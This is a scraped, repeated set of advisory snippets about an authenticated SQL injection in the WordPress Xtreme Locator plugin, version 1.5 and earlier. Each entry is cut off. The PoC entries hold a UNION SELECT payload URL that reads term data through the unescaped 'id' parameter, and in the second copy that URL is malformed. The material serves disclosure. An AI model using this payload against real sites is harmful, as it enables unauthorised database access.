Xtreme Locator Dealer Locator Plugin 1.5 – Authenticated SQL Injection

Type user access: admins user. $GET‘id’ is not escaped. Is accessible for only admins user. 1 - logged with admin user; 2 - send resquest get; http://www.example.com/wp-admin/admin.php?page=xtreme-locator-settings&id=0+UNION+ALL+SELECT+1%2Cslug%2Cname%2C4%2C5+FROM+wpterms+WHERE+termid%3D1...

WordPress Xtreme Locator Plugin <= 1.5 - SQL Injection

This plugin is prone to an SQL injection vulnerability, because $GET‘id’ is not escaped. Solution Update the plugin...

Xtreme Locator Dealer Locator Plugin 1.5 – Authenticated SQL Injection

Type user access: admins user. $GET‘id’ is not escaped. Is accessible for only admins user. PoC 1 - logged with admin user; 2 - send resquest get; http://www.example.com/wp-admin/admin.php?page=xtreme-locator-settings=0+UNION+ALL+SELECT+1%2Cslug%2Cname%2C4%2C5+FROM+wpterms+WHERE+termid%3D1...

WordPress Xtreme Locator Plugin <= 1.5 - SQL Injection

This plugin is prone to an SQL injection vulnerability, because $GET‘id’ is not escaped. Solution Update the plugin...